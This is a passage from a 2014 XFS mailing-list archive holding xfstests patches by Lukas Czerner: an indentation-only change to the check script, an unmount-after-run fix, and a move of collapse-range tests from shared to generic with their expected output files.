10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395790704 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This stupid patch only put the indentation in place so we will be able to clearly see and review changes made in the second patch which will add a loop (instead of allways-true condition introduced in this patch) adding support for config sections. There are no changes in the logic, only indentation changes. Signed-off-by: Lukas Czerner --- check | 322 +++++++++++++++++++++++++++++++++--------------------------------- 1 file changed, 162 insertions(+), 160 deletions(-) diff --git a/check b/check index b619f6d..b33643c 100755 --- a/check +++ b/check @@ -356,190 +356,192 @@ END { if (NR > 0) { trap "_wrapup; exit \$status" 0 1 2 3 15 -mkdir -p $RESULT_BASE -if [ ! -d $RESULT_BASE ]; then - echo "failed to create results directory $RESULTS_BASE" - exit 1; -fi - -seq="check" -check="$RESULT_BASE/check" - -# don't leave old full output behind on a clean run -rm -f $check.full - -[ -f $check.time ] || touch $check.time - -# print out our test configuration -echo "FSTYP -- `_full_fstyp_details`" -echo "PLATFORM -- `_full_platform_details`" -if [ ! -z "$SCRATCH_DEV" ]; then - echo "MKFS_OPTIONS -- `_scratch_mkfs_options`" - echo "MOUNT_OPTIONS -- `_scratch_mount_options`" -fi -echo - - -if [ ! -z "$SCRATCH_DEV" ]; then - umount $SCRATCH_DEV 2>/dev/null - # call the overridden mkfs - make sure the FS is built - # the same as we'll create it later. - - if ! _scratch_mkfs $flag >$tmp.err 2>&1 - then - echo "our local _scratch_mkfs routine ..." - cat $tmp.err - echo "check: failed to mkfs \$SCRATCH_DEV using specified options" - exit 1 - fi - - # call the overridden mount - make sure the FS mounts with - # the same options that we'll mount with later. - if ! _scratch_mount >$tmp.err 2>&1 - then - echo "our local mount routine ..." - cat $tmp.err - echo "check: failed to mount \$SCRATCH_DEV using specified options" - exit 1 - fi -fi +if true; then + mkdir -p $RESULT_BASE + if [ ! -d $RESULT_BASE ]; then + echo "failed to create results directory $RESULTS_BASE" + exit 1; + fi -seqres="$check" -_check_test_fs + seq="check" + check="$RESULT_BASE/check" -for seq in $list -do - err=false + # don't leave old full output behind on a clean run + rm -f $check.full - # the filename for the test and the name output are different. - # we don't include the tests/ directory in the name output. - seqnum=`echo $seq | sed -e "s;$SRC_DIR/;;"` + [ -f $check.time ] || touch $check.time - # Similarly, the result directory needs to replace the tests/ - # part of the test location. - group=`dirname $seq` - export RESULT_DIR=`echo $group | sed -e "s;$SRC_DIR;$RESULT_BASE;"` - mkdir -p $RESULT_DIR - seqres="$RESULT_BASE/$seqnum" + # print out our test configuration + echo "FSTYP -- `_full_fstyp_details`" + echo "PLATFORM -- `_full_platform_details`" + if [ ! -z "$SCRATCH_DEV" ]; then + echo "MKFS_OPTIONS -- `_scratch_mkfs_options`" + echo "MOUNT_OPTIONS -- `_scratch_mount_options`" + fi + echo - echo -n "$seqnum" - if $showme - then - echo - continue - elif [ ! -f $seq ] - then - echo " - no such test?" - else - # really going to try and run this one - # - rm -f $seqres.out.bad - - # check if we really should run it - if [ -s $tmp.xlist ]; then - if grep $seqnum $tmp.xlist > /dev/null 2>&1 ; then - echo " [expunged]" - continue - fi + if [ ! -z "$SCRATCH_DEV" ]; then + umount $SCRATCH_DEV 2>/dev/null + # call the overridden mkfs - make sure the FS is built + # the same as we'll create it later. + + if ! _scratch_mkfs $flag >$tmp.err 2>&1 + then + echo "our local _scratch_mkfs routine ..." + cat $tmp.err + echo "check: failed to mkfs \$SCRATCH_DEV using specified options" + exit 1 + fi + + # call the overridden mount - make sure the FS mounts with + # the same options that we'll mount with later. + if ! _scratch_mount >$tmp.err 2>&1 + then + echo "our local mount routine ..." + cat $tmp.err + echo "check: failed to mount \$SCRATCH_DEV using specified options" + exit 1 + fi fi - # slashes now in names, sed barfs on them so use grep - lasttime=`grep -w ^$seqnum $check.time | awk '// {print $2}'` - if [ "X$lasttime" != X ]; then - echo -n " ${lasttime}s ..." - else - echo -n " " # prettier output with timestamps. - fi - rm -f core $seqres.notrun + seqres="$check" + _check_test_fs - start=`_wallclock` - $timestamp && echo -n " ["`date "+%T"`"]" - [ ! -x $seq ] && chmod u+x $seq # ensure we can run it - $LOGGER_PROG "run xfstest $seqnum" - ./$seq >$tmp.rawout 2>&1 - sts=$? - $timestamp && _timestamp - stop=`_wallclock` + for seq in $list + do + err=false - _fix_malloc <$tmp.rawout >$tmp.out - rm -f $tmp.rawout + # the filename for the test and the name output are different. + # we don't include the tests/ directory in the name output. + seqnum=`echo $seq | sed -e "s;$SRC_DIR/;;"` - if [ -f core ] - then - echo -n " [dumped core]" - mv core $RESULT_BASE/$seqnum.core - err=true - fi + # Similarly, the result directory needs to replace the tests/ + # part of the test location. + group=`dirname $seq` + export RESULT_DIR=`echo $group | sed -e "s;$SRC_DIR;$RESULT_BASE;"` + mkdir -p $RESULT_DIR + seqres="$RESULT_BASE/$seqnum" - if [ -f $seqres.notrun ] - then - $timestamp || echo -n " [not run] " - $timestamp && echo " [not run]" && echo -n " $seqnum -- " - cat $seqres.notrun - notrun="$notrun $seqnum" - else - if [ $sts -ne 0 ] + echo -n "$seqnum" + + if $showme then - echo -n " [failed, exit status $sts]" - err=true - fi - if [ ! -f $seq.out ] + echo + continue + elif [ ! -f $seq ] then - echo " - no qualified output" - err=true + echo " - no such test?" else + # really going to try and run this one + # + rm -f $seqres.out.bad + + # check if we really should run it + if [ -s $tmp.xlist ]; then + if grep $seqnum $tmp.xlist > /dev/null 2>&1 ; then + echo " [expunged]" + continue + fi + fi + + # slashes now in names, sed barfs on them so use grep + lasttime=`grep -w ^$seqnum $check.time | awk '// {print $2}'` + if [ "X$lasttime" != X ]; then + echo -n " ${lasttime}s ..." + else + echo -n " " # prettier output with timestamps. + fi + rm -f core $seqres.notrun + + start=`_wallclock` + $timestamp && echo -n " ["`date "+%T"`"]" + [ ! -x $seq ] && chmod u+x $seq # ensure we can run it + $LOGGER_PROG "run xfstest $seqnum" + ./$seq >$tmp.rawout 2>&1 + sts=$? + $timestamp && _timestamp + stop=`_wallclock` - # coreutils 8.16+ changed quote formats in error messages from - # `foo' to 'foo'. Filter old versions to match the new version. - sed -i "s/\`/\'/g" $tmp.out - if diff $seq.out $tmp.out >/dev/null 2>&1 + _fix_malloc <$tmp.rawout >$tmp.out + rm -f $tmp.rawout + + if [ -f core ] + then + echo -n " [dumped core]" + mv core $RESULT_BASE/$seqnum.core + err=true + fi + + if [ -f $seqres.notrun ] then - if $err + $timestamp || echo -n " [not run] " + $timestamp && echo " [not run]" && echo -n " $seqnum -- " + cat $seqres.notrun + notrun="$notrun $seqnum" + else + if [ $sts -ne 0 ] then - : - else - echo "$seqnum `expr $stop - $start`" >>$tmp.time - echo -n " `expr $stop - $start`s" + echo -n " [failed, exit status $sts]" + err=true fi - echo "" - else - echo " - output mismatch (see $seqres.out.bad)" - mv $tmp.out $seqres.out.bad - $diff $seq.out $seqres.out.bad | { - if test "$DIFF_LENGTH" -le 0; then - cat + if [ ! -f $seq.out ] + then + echo " - no qualified output" + err=true + else + + # coreutils 8.16+ changed quote formats in error messages from + # `foo' to 'foo'. Filter old versions to match the new version. + sed -i "s/\`/\'/g" $tmp.out + if diff $seq.out $tmp.out >/dev/null 2>&1 + then + if $err + then + : + else + echo "$seqnum `expr $stop - $start`" >>$tmp.time + echo -n " `expr $stop - $start`s" + fi + echo "" else - head -n "$DIFF_LENGTH" - echo "..." - echo "(Run '$diff $seq.out $seqres.out.bad'" \ - " to see the entire diff)" - fi; } | \ - sed -e 's/^\(.\)/ \1/' - err=true + echo " - output mismatch (see $seqres.out.bad)" + mv $tmp.out $seqres.out.bad + $diff $seq.out $seqres.out.bad | { + if test "$DIFF_LENGTH" -le 0; then + cat + else + head -n "$DIFF_LENGTH" + echo "..." + echo "(Run '$diff $seq.out $seqres.out.bad'" \ + " to see the entire diff)" + fi; } | \ + sed -e 's/^\(.\)/ \1/' + err=true + fi + fi fi - fi - fi - fi + fi - # come here for each test, except when $showme is true - # - if $err - then - bad="$bad $seqnum" - n_bad=`expr $n_bad + 1` - quick=false - fi - if [ ! -f $seqres.notrun ] - then - try="$try $seqnum" - n_try=`expr $n_try + 1` - _check_test_fs - fi + # come here for each test, except when $showme is true + # + if $err + then + bad="$bad $seqnum" + n_bad=`expr $n_bad + 1` + quick=false + fi + if [ ! -f $seqres.notrun ] + then + try="$try $seqnum" + n_try=`expr $n_try + 1` + _check_test_fs + fi - seq="after_$seqnum" -done + seq="after_$seqnum" + done +fi interrupt=false status=`expr $n_bad` -- 1.8.3.1 From lczerner@redhat.com Tue Mar 25 18:38:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8E9FF29DF7 for ; Tue, 25 Mar 2014 18:38:32 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3E405AC001 for ; Tue, 25 Mar 2014 16:38:32 -0700 (PDT) X-ASG-Debug-ID: 1395790711-04bdf076f066b250001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id HNMgJOJgAzBFXy7s for ; Tue, 25 Mar 2014 16:38:31 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2PNcVSx025972 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 25 Mar 2014 19:38:31 -0400 Received: from localhost.localdomain.com (vpn1-6-254.ams2.redhat.com [10.36.6.254]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2PNcLH3030212; Tue, 25 Mar 2014 19:38:29 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 5/5] xfstests: unmount TEST_DEV and SCRATCH_DEV after test run Date: Wed, 26 Mar 2014 00:38:11 +0100 X-ASG-Orig-Subj: [PATCH 5/5] xfstests: unmount TEST_DEV and SCRATCH_DEV after test run Message-Id: <1395790691-21161-5-git-send-email-lczerner@redhat.com> In-Reply-To: <1395790691-21161-1-git-send-email-lczerner@redhat.com> References: <1395790691-21161-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395790711 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Unmount TEST_DEV and SCRATCH_DEV after each test run to avoid mounting multiple devices on the same mount point which might result in xfstest not being able to unmount the device later down the path. Signed-off-by: Lukas Czerner --- check | 3 +++ 1 file changed, 3 insertions(+) diff --git a/check b/check index b3937b3..a26fbf7 100755 --- a/check +++ b/check @@ -620,6 +620,9 @@ for section in $HOST_OPTIONS_SECTIONS; do done _wrapup echo + + umount $TEST_DEV 2> /dev/null + umount $SCRATCH_DEV 2> /dev/null done interrupt=false -- 1.8.3.1 From lczerner@redhat.com Tue Mar 25 18:44:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0C5047F3F for ; Tue, 25 Mar 2014 18:44:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id F29F8304075 for ; Tue, 25 Mar 2014 16:44:07 -0700 (PDT) X-ASG-Debug-ID: 1395791045-04cbb054b6736d50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 18ptclEs2BDx5kUH for ; Tue, 25 Mar 2014 16:44:05 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2PNi41H007116 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 25 Mar 2014 19:44:05 -0400 Received: from localhost.localdomain.com (vpn1-6-254.ams2.redhat.com [10.36.6.254]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2PNi1Kn015959; Tue, 25 Mar 2014 19:44:02 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 1/2 v2] xfstests: Make some shared tests generic Date: Wed, 26 Mar 2014 00:43:57 +0100 X-ASG-Orig-Subj: [PATCH 1/2 v2] xfstests: Make some shared tests generic Message-Id: <1395791038-22468-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395791045 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 There are couple of tests in shared directory which really should be made generic, so move it. It is mostly collapse range tests, which really can be generic to make super we test every file system which adds collapse range support. Here is what we're moving in this commit. shared/001 -> generic/004 shared/002 -> generic/009 shared/003 -> generic/012 shared/004 -> generic/016 shared/005 -> generic/017 shared/218 -> generic/018 shared/305 -> generic/019 Signed-off-by: Lukas Czerner --- v2: Set missing executable bit on some tests tests/generic/004 | 65 ++++++++++++++++++ tests/generic/004.out | 49 +++++++++++++ tests/generic/009 | 65 ++++++++++++++++++ tests/generic/009.out | 49 +++++++++++++ tests/generic/012 | 65 ++++++++++++++++++ tests/generic/012.out | 49 +++++++++++++ tests/generic/016 | 65 ++++++++++++++++++ tests/generic/016.out | 49 +++++++++++++ tests/generic/017 | 90 ++++++++++++++++++++++++ tests/generic/017.out | 4 ++ tests/generic/018 | 93 +++++++++++++++++++++++++ tests/generic/018.out | 19 +++++ tests/generic/019 | 187 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/019.out | 9 +++ tests/generic/group | 7 ++ tests/shared/001 | 65 ------------------ tests/shared/001.out | 49 ------------- tests/shared/002 | 65 ------------------ tests/shared/002.out | 49 ------------- tests/shared/003 | 65 ------------------ tests/shared/003.out | 49 ------------- tests/shared/004 | 65 ------------------ tests/shared/004.out | 49 ------------- tests/shared/005 | 90 ------------------------ tests/shared/005.out | 4 -- tests/shared/218 | 93 ------------------------- tests/shared/218.out | 19 ----- tests/shared/305 | 187 -------------------------------------------------- tests/shared/305.out | 9 --- tests/shared/group | 8 --- 30 files changed, 865 insertions(+), 866 deletions(-) create mode 100755 tests/generic/004 create mode 100644 tests/generic/004.out create mode 100755 tests/generic/009 create mode 100644 tests/generic/009.out create mode 100755 tests/generic/012 create mode 100644 tests/generic/012.out create mode 100755 tests/generic/016 create mode 100644 tests/generic/016.out create mode 100755 tests/generic/017 create mode 100644 tests/generic/017.out create mode 100755 tests/generic/018 create mode 100644 tests/generic/018.out create mode 100755 tests/generic/019 create mode 100644 tests/generic/019.out delete mode 100755 tests/shared/001 delete mode 100644 tests/shared/001.out delete mode 100644 tests/shared/002 delete mode 100644 tests/shared/002.out delete mode 100644 tests/shared/003 delete mode 100644 tests/shared/003.out delete mode 100644 tests/shared/004 delete mode 100644 tests/shared/004.out delete mode 100644 tests/shared/005 delete mode 100644 tests/shared/005.out delete mode 100755 tests/shared/218 delete mode 100644 tests/shared/218.out delete mode 100755 tests/shared/305 delete mode 100644 tests/shared/305.out diff --git a/tests/generic/004 b/tests/generic/004 new file mode 100755 index 0000000..36dcdea --- /dev/null +++ b/tests/generic/004 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. generic/004 +# +# Standard collapse range tests +# This testcase is one of the 4 testcases which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/generic/004.out b/tests/generic/004.out new file mode 100644 index 0000000..befcabd --- /dev/null +++ b/tests/generic/004.out @@ -0,0 +1,49 @@ +QA output created by 004 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/generic/009 b/tests/generic/009 new file mode 100755 index 0000000..fa0814b --- /dev/null +++ b/tests/generic/009 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. generic/009 +# +# Delayed allocation collapse range tests +# This testcase is one of the 4 testcases which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -d falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/generic/009.out b/tests/generic/009.out new file mode 100644 index 0000000..96c2d33 --- /dev/null +++ b/tests/generic/009.out @@ -0,0 +1,49 @@ +QA output created by 009 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/generic/012 b/tests/generic/012 new file mode 100755 index 0000000..e689299 --- /dev/null +++ b/tests/generic/012 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. generic/012 +# +# Multi collapse range tests +# This testcase is one of the 4 testcases which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/generic/012.out b/tests/generic/012.out new file mode 100644 index 0000000..ffbf8a3 --- /dev/null +++ b/tests/generic/012.out @@ -0,0 +1,49 @@ +QA output created by 012 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/generic/016 b/tests/generic/016 new file mode 100755 index 0000000..13a4488 --- /dev/null +++ b/tests/generic/016 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. generic/016 +# +# Delayed allocation multi collapse range tests +# This testcase is one of the 4 testcases which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -d -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/generic/016.out b/tests/generic/016.out new file mode 100644 index 0000000..c45a44a --- /dev/null +++ b/tests/generic/016.out @@ -0,0 +1,49 @@ +QA output created by 016 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ 0 +0: [0..95]: extent 